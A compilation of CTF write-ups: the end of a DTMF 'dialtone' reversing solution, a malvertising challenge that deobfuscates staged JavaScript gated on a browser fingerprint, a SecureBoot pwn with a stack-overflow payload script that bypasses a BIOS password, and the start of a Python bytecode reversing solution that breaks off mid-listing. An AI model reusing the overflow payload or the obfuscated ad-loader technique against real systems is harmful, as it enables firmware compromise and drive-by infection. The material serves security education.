- `44100` is the sampling rate - number of samples (doubles) per second recorded - `8192` is the size of the FFT buffer
From DFT we know that this index will represent the amplitude, i.e. [volume of the sinewave](https://en.wikipedia.org/wiki/Discrete_Fourier_transform#Motivation) (pure tone) at the given `frequency`. Let's name it `measureFrequency`.
So the `r` function measures a the loudness of various frequencies, specifically:
- 1209, 1336, 1477, 1633 - 697, 770, 852, 941
There are two groups, as shown above, and the maximum is picked for each. The index of the loudest frequency in the group is kept. Finally, these indices are combined into a single number `0` ... `15`.
```camplitudes1[0] = measureFrequency(fftBuffer, 1209);amplitudes1[1] = measureFrequency(fftBuffer, 1336);amplitudes1[2] = measureFrequency(fftBuffer, 1477);amplitudes1[3] = measureFrequency(fftBuffer, 1633);maxIndex1 = -1;maxAmplitude1 = 1.0;for ( i = 0; i <= 3; ++i ){ if ( amplitudes1[i] > maxAmplitude1 ) { maxIndex1 = i; maxAmplitude1 = amplitudes1[i]; }}amplitudes2[0] = measureFrequency(fftBuffer, 697);amplitudes2[1] = measureFrequency(fftBuffer, 770);amplitudes2[2] = measureFrequency(fftBuffer, 852);amplitudes2[3] = measureFrequency(fftBuffer, 941);maxIndex2 = -1;maxAmplitude2 = 1.0;for ( j = 0; j <= 3; ++j ){ if ( amplitudes2[j] > maxAmplitude2 ) { maxIndex2 = j; maxAmplitude2 = amplitudes2[j]; }}// ...tone = maxIndex1 | 4 * maxIndex2;```
There is a sequence position counter, which determines which "tone" is expected next:
```ctone = maxIndex1 | 4 * maxIndex2;success = 0;switch ( state->field_4 ){ case 0u: success = tone == 9; goto EVALUATE; case 1u: success = tone == 5; goto EVALUATE; case 2u: success = tone == 10; goto EVALUATE; case 3u: success = tone == 6; goto EVALUATE; case 4u: success = tone == 9; goto EVALUATE; case 5u: success = tone == 8; goto EVALUATE; case 6u: success = tone == 1; goto EVALUATE; case 7u: success = tone == 13; goto EVALUATE; case 8u: if ( tone ) goto EVALUATE; return 0; default:EVALUATE: if ( success != 1 ) return -1u; ++state->field_4; state->field_0 = 0; state->field_8 = 1; break;}```
So the tone sequence is:
9, 5, 10, 6, 9, 8, 1, 13, 0
The final piece of the puzzle is to note the connection to phones since the challenge is called "dialtone". Searching for dialtone systems and the specific frequencies we have in the challenge leads us to [Dual-tone multi-frequency signaling](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling). This system encodes numbers and symbols as combinations of two frequencies:
| - | **1209 Hz** | **1336 Hz** | **1477 Hz** | **1633 Hz** || ---------- | ----------- | ----------- | ----------- | ----------- || **697 Hz** | 1 | 2 | 3 | A || **770 Hz** | 4 | 5 | 6 | B || **852 Hz** | 7 | 8 | 9 | C || **941 Hz** | * | 0 | # | D |
We can map all frequencies to their respective indices, then find the mapping of `tone` values to characters on a phone keypad:
| `maxIndex1` | Frequency 1 | `maxIndex2` | Frequency 2 | `tone` | Character || ----------- | ----------- | ----------- | ----------- | ------ | --------- || `0` | 1209 Hz | `0` | 697 Hz | `0` | 1 || `1` | 1336 Hz | `0` | 697 Hz | `1` | 2 || `2` | 1477 Hz | `0` | 697 Hz | `2` | 3 || `3` | 1633 Hz | `0` | 697 Hz | `3` | A || `0` | 1209 Hz | `1` | 770 Hz | `4` | 4 || `1` | 1336 Hz | `1` | 770 Hz | `5` | 5 || `2` | 1477 Hz | `1` | 770 Hz | `6` | 6 || `3` | 1633 Hz | `1` | 770 Hz | `7` | B || `0` | 1209 Hz | `2` | 852 Hz | `8` | 7 || `1` | 1336 Hz | `2` | 852 Hz | `9` | 8 || `2` | 1477 Hz | `2` | 852 Hz | `10` | 9 || `3` | 1633 Hz | `2` | 852 Hz | `11` | C || `0` | 1209 Hz | `3` | 941 Hz | `12` | * || `1` | 1336 Hz | `3` | 941 Hz | `13` | 0 || `2` | 1477 Hz | `3` | 941 Hz | `14` | # || `3` | 1633 Hz | `3` | 941 Hz | `15` | D |
Now we can map the sequence to the proper characters and put the result in `CTF{...}` (as per the challenge description) to get the flag:
`CTF{859687201}`
### Bonus
Just for fun, we can generate the audio signal that would produce the flag using real DTMF frequencies.
```bash# depends on `sox` in PATHsox -n -r 44100 -d --combine sequence \ synth 0.1 sine 1336 sine 852 : \ synth 0.1 sine 1336 sine 770 : \ synth 0.1 sine 1477 sine 852 : \ synth 0.1 sine 1477 sine 770 : \ synth 0.1 sine 1336 sine 852 : \ synth 0.1 sine 1209 sine 852 : \ synth 0.1 sine 1336 sine 697 : \ synth 0.1 sine 1336 sine 941 : \ synth 0.1 sine 1209 sine 697```
[Here is the generated wave file](files/dialtone.wav)
## 140 Reversing / Malvertising ##
**Description**
> Unravel the layers of malvertising to uncover the Flag> > https://malvertising.web.ctfcompetition.com/
**No files provided**
**Solution**
Upon visiting the website, we are greeted with a fake YouTube page with an ad. All of it is just a static background image, except for the ad, which seems legit enough for uBlock to block it. Before diving into the ad itself, we note that the logo says "YouTube <sup>CA</sup>". Canada?
### Stage 1
The ad frame links to [`ads/ad.html`](files/malvertising1.html).
This file has some standard ad stuff, but more importantly links to a [JavaScript file](files/malvertising2.js):
```html<script id="adjs" src="./src/metrics.js" type="text/javascript"></script>```
Running the code through a [JavaScript beautifier](https://beautifier.io/) (result [here](files/malvertising2-b.js)), we can see a couple of top-level sections. The first starts with an immediately invoked anonymous function:
```js! function(a, b, c) { "undefined" != typeof module && module.exports ? module.exports = c() : "function" == typeof define && define.amd ? define(c) : b[a] = c()}("steg", this, function() { // ...});```
This seems like a universal module loader, compatible with CommonJS (`module.exports`), AMD (`define`), as well as browsers (`b[a] = c()` results in `this["steg"] = c()`, where `this` is just `window` here). The `steg` module defines some basic maths functions for dealing with primes, as well as an `encode` and `decode` function that accepts an image.
Next, there is a number of Base-64 strings in the `a` array. They decode to binary garbage, so they are probably encrypted. There are also several instances of code like `b("0x1", "...")`. The first number is always a hexadecimal integer (presumably an index in the `a` array), the second is always a four-character key. By modifiying the (unformatted) code to not do anything at the end but instead to [dump the decoded strings](scripts/malvertising2.html), we get the following listing:
```b('0x0','Kb10') => applyb('0x1',')ID3') => return (function() b('0x2','3hyK') => {}.constructor("return this")( )b('0x3','^aQK') => consoleb('0x4','bxQ9') => consoleb('0x5','bxQ9') => logb('0x6','vH0t') => warnb('0x7','bxQ9') => debugb('0x8','jAUm') => infob('0x9','SF81') => exceptionb('0xa','$KuR') => traceb('0xb','IfD@') => consoleb('0xc','%RuL') => consoleb('0xd','e9PJ') => warnb('0xe','(fcQ') => consoleb('0xf','xBPx') => infob('0x10','yDXL') => consoleb('0x11','IDtv') => errorb('0x12','oBBn') => consoleb('0x13','^aQK') => exceptionb('0x14','F#*Z') => consoleb('0x15','vH0t') => traceb('0x16','%RuL') => constructorb('0x17','jAUm') => getElementByIdb('0x18','3hyK') => adimgb('0x19','F#*Z') => onloadb('0x1a','OfTH') => decodeb('0x1b','JQ&l') => testb('0x1c','IfD@') => userAgent```
After the `b` function, there are three functions which seem to be anti-debugger, since they cause infinite loops and replace `console` functions. Finally, after replacing all the `b` calls, we come to the final part of the `metrics.js` script:
```jsvar s = 'constructor';var t = document['getElementById']('adimg');t['onload'] = function() { try { var u = steg['decode'](t); } catch (v) {} if (Number(/android/i ['test'](navigator['userAgent']))) { s[s][s](u)(); }};```
The `s[s][s]` bit is basically `eval`:
```js>>> s"constructor">>> s[s]ƒ String() { [native code] }>>> s[s][s]ƒ Function() { [native code] }```
`u`, the result of the steganography decoding of the `adimg` picture is executed if `android` is found in the visitor's `User-Agent` string. The result of the decoding is (with minor formatting adjustments):
```jsvar dJs = document.createElement('script');dJs.setAttribute('src','./src/uHsdvEHFDwljZFhPyKxp.js');document.head.appendChild(dJs);```
### Stage 2
We can run [the linked file](files/malvertising3.js) through the beautifier once again to get something [nicer](files/malvertising3-b.js). In this file, we have a set of functions in the `T` object, some polyfills for `String`, and then:
```jsfunction dJw() { try { return navigator.platform.toUpperCase().substr(0, 5) + Number(/android/i.test(navigator.userAgent)) + Number(/AdsBot/i.test(navigator.userAgent)) + Number(/Google/i.test(navigator.userAgent)) + Number(/geoedge/i.test(navigator.userAgent)) + Number(/tmt/i.test(navigator.userAgent)) + navigator.language.toUpperCase().substr(0, 2) + Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer)) + Number(/geoedge/i.test(document.referrer)) + Number(/tmt/i.test(document.referrer)) + performance.navigation.type + performance.navigation.redirectCount + Number(navigator.cookieEnabled) + Number(navigator.onLine) + navigator.appCodeName.toUpperCase().substr(0, 7) + Number(navigator.maxTouchPoints > 0) + Number((undefined == window.chrome) ? true : (undefined == window.chrome.app)) + navigator.plugins.length } catch (e) { return 'err' }};a = "A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="eval(T.d0(a, dJw()));```
The Base64 string `a` seems encrypted (binary garbage when decoded). Based on this we can easily guess that `T.d0` is a decryption function using the result of the `dJw()` call as a key.
The key is a sort of browser fingerprint, constructed out of a number of checks. All `Number(...)` calls in the function take a boolean value and change it to `0` or `1`.
- `LINUX` / `WIN32` / `MACIN` / ... - [`navigator.platform.toUpperCase().substr(0, 5)`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorID/platform) - the first five letters of the uppercased navigator platform - `0` / `1` - is `android` part of the [user agent](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorID/userAgent) string? - `0` / `1` - is `AdsBot` part of the user agent string? - `0` / `1` - is `Google` part of the user agent string? - `0` / `1` - is `geoedge` part of the user agent string? - `0` / `1` - is `tmt` part of the user agent string? - `EN` / `FR` / `SK` / ... - [`navigator.language.toUpperCase().substr(0, 2)`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorLanguage/language) - the first two letters of the uppercased navigator language - `0` / `1` - did the user [come from a URL](https://developer.mozilla.org/en-US/docs/Web/API/Document/referrer) containing either `tpc.googlesyndication.com` or `doubleclick.net`? - `0` / `1` - did the user come from a URL containing `geoedge`? - `0` / `1` - did the user come from a URL containing `tmt`? - `0` / `1` / `2` / `255` - [how did the user navigate](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceNavigation/type) to the page? - `0` / `1` / ... - [how many redirections](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceNavigation/redirectCount) did the user go through before getting to the page? - `0` / `1` - are [cookies enabled](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/cookieEnabled)? - `0` / `1` - does the browser [think it is online](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine)? - `MOZILLA` - the uppercased [`appCodeName`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorID/appCodeName) (which is always `Mozilla`) - `0` / `1` - does the browser [support any number of touch points](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/maxTouchPoints)? (is it a touchscreen?) - `0` / `1` - is the user NOT on a Chromium-based browser? - `0` / `1` / ... - number of [installed plugins](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorPlugins/plugins)
Furthermore, it seems that even though this fingerprint can generate strings of 31 characters (or even longer due to `redirectCount` and `plugins.length`), only the first 16 characters are used as the decryption key.
Due to the various constant numbers in the `T` object, e.g. `2654435769 == 0x9E3779B9`, we can guess it is an implementation of the [Tiny Encryption Algorithm](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm).
So we have a ciphertext, a decryption method, and the general layout of the key with a rather limited keyspace. With the assumption that the challenge would actually decrypt and run successfully from beginning to end for *some* real user agent, we can also use two pieces of information we gathered before:
- the user agent string must contain `android` - we can fix `navigator.platform.toUpperCase().substr(0, 5)` to be `LINUX` - the YouTube page indicated a Canadian region code - we can fix `navigator.language.toUpperCase().substr(0, 2)` to be `EN` or `FR` (`navigator.language` would be e.g. `fr_CA`)
What remains is 9 characters (`16 - "LINUX".length - "EN".length`) all of which can be `0` or `1`, except the last one, which can also be `2`. Just 1536 possibilities, very quick to brute-force.
> And here is where our team hit a snag - we wrote a decryption script and run it in Node.JS, but it produced no results. We expanded the brute-force to be quite exhaustive, trying different values for `navigator.platform`, hundreds of possible language codes, nothing produced any code. It turns out the decryption code as-is simply does not function identically on Node.JS. Running the brute-force script on a browser leads to the next stage in a matter of seconds. We did not manage to think of this during the CTF, which cost us the flag. What follows is a write-up of steps taken after the CTF.>> [More on that later...](#what-breaks-on-nodejs)
[Full decryption script here](scripts/malvertising3.html)
With the key `LINUX10000FR1000`, we get:
```jsvar dJs = document.createElement('script');dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js');document.head.appendChild(dJs);```
### Stage 3
Yet again we take [the file](files/malvertising4.js) and [beautify it](files/malvertising4-b.js). We can see the same patterns of encoding as in the previous stage (array of Base64-encoded strings, 4-character keys, multiple functions to prevent debugging). However, this time we need only load the JS file locally as-is in a browser with the console closed, *then* open the console to see an error - the JS file tries to load the file `WFmJWvYBQmZnedwpdQBU.js`!
And that file simply contains the flag:
```jsalert("CTF{I-LOVE-MALVERTISING-wkJsuw}")```
The last stage contained references to RTC/STUN servers, which may have been interesting to (try to) reverse, but it would be wasted effort!
`CTF{I-LOVE-MALVERTISING-wkJsuw}`
### What breaks on Node.JS?
Finally, let's check what makes the script work in a browser but break in Node.JS. We can strip most of the functions out from the [file](files/malvertising3-b.js) and track it down to how a binary string is treated after it is decoded from Base-64.
```jsString.prototype.b1 = function() { if ('undefined' != typeof atob) return atob(this); if ('undefined' != typeof Buffer) return new Buffer(this, 'base64').toString('utf8'); throw new Error('err')};
var a = "A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="
let raw = a.b1();let ccs = [];for (let i = 0; i < raw.length; i++) { ccs.push(raw.charCodeAt(i));}console.log(ccs);```
If we run the above script on a browser, we get an array like:
```js[3, 108, 92, 85, 58, 195, 184, 95, 132, ...]```
The same on Node.JS produces a different result:
```js[3, 108, 92, 85, 58, 248, 95, 65533, 65533, 65533, ...]```
`65533` is the Unicode codepoint which Node.JS uses to indicate invalid UTF-8 decoding. Some character got jumbled (`195 184` -> `248`). The problem is that the Node.JS version is decoding the result of the Base-64 decoding as UTF-8, but binary data in general is not valid UTF-8. In particular, any byte over 127 has a special meaning in UTF-8. It seems that the `atob` function always treats the encoded data as [Latin-1](https://en.wikipedia.org/wiki/ISO/IEC_8859-1). Its complementary function, `btoa`, throws an error if the input string contains characters outside the Latin-1 range.
We can make the Node.JS version work by simply replacing the `Buffer` line with:
```js return new Buffer(this, 'base64').toString('latin1');```
It is unfortunate this tiny misstep cost us the flag, but we can take solace in knowing it was not worth too many points.
## 271 Pwn / SecureBoot ##
### Overview
In this challenge, a Linux OS is given and what we need to do is boot this OS. However, it seems that secure boot is preventing us from doing so. We then tried to enter BIOS and found that we need to enter a password first. After some reverse engineering, we found that there is a stack overflow when password is obtained from user. By exploiting this vulnerability, we could enter the BIOS, thus disable the secure boot and successfully boot the OS, in which flag can be read.
### Password Interface
**Discovery**
After some trials, my teammate [@Retr0id](https://github.com/DavidBuchanan314) found that we can get into a password user interface by pressing `ESC` at the first booting stage (e.i. before secure booting violation error appears).
```***************************** ** Welcome to the BIOS! ** *****************************
Password?
```
Interesting! This is very possible to be the key to solve the challenge, and it finally turns out to be true.
Then we need to find the codes corresponding to password processing logic. My teammate [@Retr0id](https://github.com/DavidBuchanan314) has dumped the following PE files using `uefitool`: [secmain.exe](files/secmain.exe) and [uiapp.exe](files/uiapp.exe). However, by searching strings in all files using `strings` command in Linux, we still failed to find strings like `"Welcome to the BIOS!"` or `"Password?"`. Fortunately, after some investigation, we found them at `uiapp.exe`:

Therefore the reason why `strings` command failed to work is clear: these strings are encoded in `UTF-16LE`, thus cannot be found by `strings` which is used to search `ascii` strings.
By using cross reference, it was clear that `sub_FE50` is the function to process the input password.
**Reverse Engineering**
Firstly, function `0x13fd` takes strings like `L"* Welcome to the BIOS! *\n"` as argument, and there is a `va_start` in its implementation, so I would guess it is `wprintf`, which is just `printf` but argument should be `UTF-18` string.
Then, in `sub_FE50`, global pointers `0x1bc68` and `0x1bc78` are used for indirect function call. By looking for cross references of these 2 variables, we found that they are initialized at function `ModuleEntryPoint(0x8CB4)`. Here we found `0x1bc68` is assigned by `SystemTable` and `0x1bc78` is assigned by `SystemTable->BootServices`. `SystemTable` is the argument passed into `ModuleEntryPoint` and luckily IDA has relative structure information. We change type of `0x1bc68` to `EFI_SYSTEM_TABLE *` and `0x1bc78` to `EFI_BOOT_SERVICES *`, and also names are also changed. There are also some other assignment at this initialization function, their names and types are also modified just in case.
```c::SystemTable = SystemTable; // 0x1bc68v2 = SystemTable->BootServices;v3 = SystemTable->RuntimeServices;::ImageHandle = ImageHandle;BootServices = v2; // 0x1bc78RuntimeServices = v3;```
After type modification, the loop used to obtain one password becomes this, which is certainly more clear:
```cwhile ( 1 ){ while ( 1 ) { v8 = ((__int64 (__fastcall *)(EFI_SIMPLE_TEXT_INPUT_PROTOCOL *, EFI_INPUT_KEY *))SystemTable->ConIn->ReadKeyStroke)( SystemTable->ConIn, &input); // try to read a character if ( v8 >= 0 ) { if ( input.UnicodeChar ) break; // a character has been read } if ( v8 == 0x8000000000000006i64 ) // if no chacacter is read, block and wait for event ((void (__fastcall *)(signed __int64, EFI_EVENT *, char *))BootServices->WaitForEvent)( 1i64, &SystemTable->ConIn->WaitForKey, &v6;; } if ( input.UnicodeChar == '\r' ) break; // input terminates if '\r' is received if ( i <= 0x8Bu ) { // append the character to result buffer v3 = i++; v7[v3] = input.UnicodeChar; } wprintf("*");}```
As its name suggests, `ReadKeyStroke` is used to get a character from user. The second argument is the buffer used to receive the character, the structure of the buffer is shown below.
```ctypedef struct { UINT16 ScanCode; CHAR16 UnicodeChar;} EFI_INPUT_KEY;```
So we need to change variable `input` to this type in IDA. However, function `ReadKeyStroke` is a non-block function, and return a negative error value when no key is pressed. If so, blocked function `WaitForEvent` will be called to wait for key stroke event, and will return if there is any new event.
After reading the input, the input is passed into `0x20A3`, which, by searching constants and by testing using simple string, we found it to be `sha256` hashing algorithm. The result is then compared, and password is correct only if the hash is `DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF`, so it is certainly not possible to find string to satisfy the condition.
```cv7[i] = 0;wprintf(L"\n");sha256_maybe(v7, i, dst); // 0x20A3if ( *dst == 0xDEADBEEFDEADBEEFi64 && dst[8] == 0xDEADBEEFDEADBEEFi64 && dst[16] == 0xDEADBEEFDEADBEEFi64 && dst[24] == 0xDEADBEEFDEADBEEFi64 ){ free(v2); return 1i64; // returning 1 means the password is correct}```
In addition, according to my guess, `0x11A8` is `malloc` and `0xC46` is `free`, since `0x11A8` takes a size and returns a pointer being used as that buffer size, and `0xC46` takes a pointer and is called when password interface function terminates. This turns out to be true, because of these codes found in these 2 functions.
```c/* function call chain: malloc -> sub_1199 -> sub_E400as the function name `AllocatePool` suggests, memory is allocated, which means this is probably `malloc`*/__int64 __usercall sub_E400@<rax>(__int64 a1@<rdi>){ __int64 v2; // [rsp+28h] [rbp-10h]
if ( (BootServices->AllocatePool)(4i64, a1, &v2) < 0 ) v2 = 0i64; return v2;}/*function call chain: free -> sub_C3C,similarly, this is probably `free`*/__int64 __cdecl sub_C3C(void *a1){ return ((__int64 (__fastcall *)(void *))BootServices->FreePool)(a1);}```
**Vulnerability**
The vulnerability is a stack overflow when obtaining password. The buffer size is `0x80` but the check is `i <= 0x8Bu`, so we can write 12 more bytes. This is the stack layout.
```cchar v7[128]; // [rsp+38h] [rbp-B0h]__int64 v8; // [rsp+B8h] [rbp-30h]_QWORD *dst; // [rsp+C0h] [rbp-28h]```
`v8` is used to store return value of function `ReadKeyStroke` and is used only after being reassigned by the return value of that function, so overwriting it is not very useful. However, `dst`, which is used to store the `sha256` result when function `sha256_maybe` is called, can be used to achieve arbitrary write.
### Debug Environment
Before exploitation, we may need to successfully debug this password interface subroutine.
**Debug Option of QEMU**
To debug the binary, we need to set `-s` option in QEMU command in file `run.py`, then launch `gdb` in without any argument, and use `target remote localhost:1234` `gdb` command to start debugging.
**Find PE in Memory**
First of all, we need to know where `uiapp.exe` PE file is mapped into the memory. We assumed that there is no ASLR first, and that PE file is loaded at page aligned address (so least 12 bits of address should be same as least 12 bits in IDA).
My approach to find the PE file is to press `ctrl+c` when password need to be inputted. My idea is that since `WaitForEvent` is a blocked function, `ctrl+c` must terminates in this function or its subroutine functions that it calls. If we inspect the stack at this time, we must be able to find the return address of function `WaitForEvent`, which is inside the `uiapp.exe` PE module, and whose least 12 bits must be `f5e`.

Finally, at `rsp+0x120`, we found the return address to be `0x67daf5e`, and if you restart the challenge and repeat these steps, you will find the address to have the same value, which suggests that the ASLR is not enabled. In addition, you can also find that stack address is also a constant value, which is great and a important feature for us to exploit.
Therefore, it is easy for us to calculate the base address: `0x67daf5e - 0xff5e = 0x67cb000`, so we can rebase the program in IDA to make things more convenient.
Also, after knowing where the PE file is loaded, we can set breakpoint.
### Exploitation
**Idea**
So, what we can do is to write a `sha256` hash into a arbitrary 4-byte address. Obviously the idea is try to bypass the password verification. Here is how the password interface function is called:
```assembly.text:00000000067D4D2F call password_FE50.text:00000000067D4D34 test al, al.text:00000000067D4D36 jnz short loc_67D4D49```
Firstly, we tried to rewrite the instruction. For example, if we write `jnz` to `jmp`, we can always let this function jump to the branch of correct password. However, according to [this](https://edk2-docs.gitbooks.io/a-tour-beyond-bios-memory-protection-in-uefi-bios/memory-protection-in-uefi.html), it seems that the text memory is protected and not writable, so this approach does not work.
As I mentioned before, the stack address is not randomized, so why not rewrite return address of password verification function in stack directly? It should be `0x67D4D34`, but if we can modify it to `0x67D4D49`, the control flow will jump to the branch of correct password directly as the password verification returns. To be specific, what we need to do is to rewrite the least significate byte to `\x49`, which is the first byte since it is little-endian.
**Find Where the Return Address is Stored**
This is not so hard, what we need to do is to set a breakpoint at the `ret` instruction of the password interface function (e.i. `password_FE50`), and see the current `rsp` value. To be specific, we use command `b *0x67DB0BB`, and enter wrong password for 3 times, then the function will exit and breakpoint can be triggered.

As shown clearly above, the return address is stored in address `0x7ec18b8`.
**Specific Exploitation**
Now the particular steps are clear. Firstly, we need to use overflow to rewrite the variable `dst` to `0x7ec18b8 - 32 + 1`, so that the last byte of the hash is the least significate byte of return address. Then we need to find a string such that the last byte of its `sha256` hash is `\x49`. Note that, the actual payload that we are going to send is `'A' * 0x88 + p32(0x7ec18b8 - 32 + 1) + '\r'`, where the `A` prefix should be modified to make last byte of the hash `\x49`. However, when the input is used to calculate hash value, actual bytes used is `'A' * (0x80) + p64(0) + p32(0x7ec18b8 - 32 + 1)`. This is because variable `v8` just after the password buffer will be assigned to return value of `ReadKeyStroke`, which is zero at this point.
Therefore, here is the script to obtain the payload prefix:
```pythonimport binasciifrom pwn import *
for i in xrange(0x10000): pld = hex(i)[2:] dk = hashlib.sha256(pld + 'A' * (0x80-4) + p64(0) + p32(0x7ec18b8 - 32 + 1)).hexdigest() dk = binascii.unhexlify(dk) if ord(dk[31]) == 0x49: print pld```
There are many outputs, and we just chose `'1010'` as the prefix.
Therefore, finally the payload to be sent as password is this:
```pythonsh.send('1010' + 'A' * 0x84 + p32(0x7ec18b8 - 32 + 1) + '\r')```
### Tackle with BIOS
Now we finally got into BIOS interface. The idea is to disable secure boot here and reboot the OS. However, if we run the script locally, the BIOS interface we get is this:

which is very ugly because it print the control characters used to draw UI as raw bytes, I failed to find `pwntool` functionality to make this more readable, but fortunately when this is run remotely the UI can be shown.

Okay, but how can we move the cursor? After some investigation, we found that `sh.send('\x1b[B')` is equivalent to key `down`, that `sh.send('\x1b\x1b')` is equivalent to key `ESC`, and that `sh.send('\r')` is equivalent to key `Enter`.
Then we have explored this BIOS, and found option to disable secure boot in `Device Manager`, and rebooted the OS successfully in which the flag can be read, which is just a boring process and not worth discussing...
The final [exploit](files/secureboot.py). |
# Pytecode
### The ChallengeThis reversing challenges was a fun one. We were given a file, [**pytecode**](https://mega.nz/#!2XgCAKII!vkcjM0TOWgrzrBeYl5ieVk5ZaWQoh0mVuufN5_dQCho), which contains Python byte code. Byte code is generated from compiling a Python script, and it is loaded into the Python run-time and interpreted by a virtual machine, which is a piece of code that reads each instruction in the byte code and executes whatever operation is indicated.
The file given contains byte code that is basically checking that certain aspects of the flag are true, and failing if they are false. Once we have all the requirements for the flag, we can figure out what it is.
The byte code is actually pretty easy to read and understand once you get the hang of it. All the operations either push something onto the stack, pop something off of the stack, perform an operation on stack values, or call a function with the arguments on the stack. It's all stack baby!
### Tools and ReferencesI didn't use any tools for this challenge. I just went through the byte code line by line and reversed it by hand, and I used [**this**](https://docs.python.org/3/library/dis.html) as a reference for the instructions.
### Interpreting the Byte CodeHere is the pytecode file that was given along with what the byte code interprets to:```assemblyC0rr3ct func: 6 0 LOAD_CONST 1 ('Wow!!!You so best^_^') # If the flag is correct, print and exit 3 PRINT_ITEM 4 PRINT_NEWLINE 5 LOAD_CONST 0 (None) 8 RETURN_VALUE
Ch3cking func: # START HERE: checks that the flag is correct 8 0 LOAD_CONST 1 (0) 3 STORE_FAST 1 (check)
9 6 LOAD_GLOBAL 0 (ord) 9 LOAD_FAST 0 (flag) 12 LOAD_CONST 1 (0) 15 BINARY_SUBSCR # flag[0] 16 CALL_FUNCTION 1 # ord(flag[0]) 19 LOAD_CONST 2 (52) 22 BINARY_ADD # ord(flag[0])+52 23 LOAD_GLOBAL 0 (ord) 26 LOAD_FAST 0 (flag) 29 LOAD_CONST 3 (-1) 32 BINARY_SUBSCR # flag[-1] 33 CALL_FUNCTION 1 # ord(flag[-1]) 36 COMPARE_OP 3 (!=) # ord(flag[0])+52 != ord(flag[-1]) 39 POP_JUMP_IF_TRUE 78 # Jump to fail if true, we want previous statement (and the rest of the # comparison operations to be false) 42 LOAD_GLOBAL 0 (ord) 45 LOAD_FAST 0 (flag) 48 LOAD_CONST 3 (-1) 51 BINARY_SUBSCR # flag[-1] 52 CALL_FUNCTION 1 # ord(flag[-1]) 55 LOAD_CONST 4 (2) 58 BINARY_SUBTRACT # ord(flag[-1])-2 59 LOAD_GLOBAL 0 (ord) 62 LOAD_FAST 0 (flag) 65 LOAD_CONST 5 (7) 68 BINARY_SUBSCR # flag[7] 69 CALL_FUNCTION 1 # ord(flag[7]) 72 COMPARE_OP 3 (!=) # ord(flag[-1])-2 != ord(flag[7]) 75 POP_JUMP_IF_FALSE 88 # Jump past fail (keep checking) if false, go to 88
10 >> 78 LOAD_GLOBAL 1 (F41l) 81 CALL_FUNCTION 0 84 POP_TOP 85 JUMP_FORWARD 752 (to 840)
11 >> 88 LOAD_FAST 0 (flag) 91 LOAD_CONST 5 (7) 94 SLICE+2 # flag[0:7] 95 LOAD_CONST 6 ('ISITDTU') 98 COMPARE_OP 3 (!=) # flag[0:7] != 'ISITDTU' 101 POP_JUMP_IF_FALSE 120 # Jump past exiting program (keep checking) if false
12 104 LOAD_GLOBAL 2 (sys) 107 LOAD_ATTR 3 (exit) 110 LOAD_CONST 1 (0) 113 CALL_FUNCTION 1 116 POP_TOP 117 JUMP_FORWARD 720 (to 840)
13 >> 120 LOAD_FAST 0 (flag) 123 LOAD_CONST 7 (9) 126 BINARY_SUBSCR # flag[9] 127 LOAD_FAST 0 (flag) 130 LOAD_CONST 8 (14) 133 BINARY_SUBSCR # flag[14] 134 COMPARE_OP 3 (!=) # flag[9] != flag[14] 137 POP_JUMP_IF_TRUE 180 # Jump to fail if true 140 LOAD_FAST 0 (flag) 143 LOAD_CONST 8 (14) 146 BINARY_SUBSCR # flag[14] 147 LOAD_FAST 0 (flag) 150 LOAD_CONST 9 (19) 153 BINARY_SUBSCR # flag[19] 154 COMPARE_OP 3 (!=) # flag[14] != flag[19] 157 POP_JUMP_IF_TRUE 180 # Jump to fail if true 160 LOAD_FAST 0 (flag) 163 LOAD_CONST 9 (19) 166 BINARY_SUBSCR # flag[19] 167 LOAD_FAST 0 (flag) 170 LOAD_CONST 10 (24) 173 BINARY_SUBSCR # flag[24] 174 COMPARE_OP 3 (!=) # flag[19] != flag[24] 177 POP_JUMP_IF_FALSE 193 # Jump past exiting program (keep checking) if false
14 >> 180 LOAD_FAST 1 (check) 183 LOAD_CONST 11 (1) 186 INPLACE_ADD 187 STORE_FAST 1 (check) 190 JUMP_FORWARD 647 (to 840)
15 >> 193 LOAD_GLOBAL 0 (ord) 196 LOAD_FAST 0 (flag) 199 LOAD_CONST 12 (8) 202 BINARY_SUBSCR # flag[8] 203 CALL_FUNCTION 1 # ord(flag[8]) 206 LOAD_CONST 13 (49) 209 COMPARE_OP 3 (!=) # ord(flag[8]) != 49 212 POP_JUMP_IF_TRUE 235 # Jump to fail if true 215 LOAD_FAST 0 (flag) 218 LOAD_CONST 12 (8) 221 BINARY_SUBSCR # flag[8] 222 LOAD_FAST 0 (flag) 225 LOAD_CONST 14 (16) 228 BINARY_SUBSCR # flag[16] 229 COMPARE_OP 3 (!=) # flag[8] != flag[16] 232 POP_JUMP_IF_FALSE 245 # Jump past fail (keep checking) if false
16 >> 235 LOAD_GLOBAL 1 (F41l) 238 CALL_FUNCTION 0 241 POP_TOP 242 JUMP_FORWARD 595 (to 840)
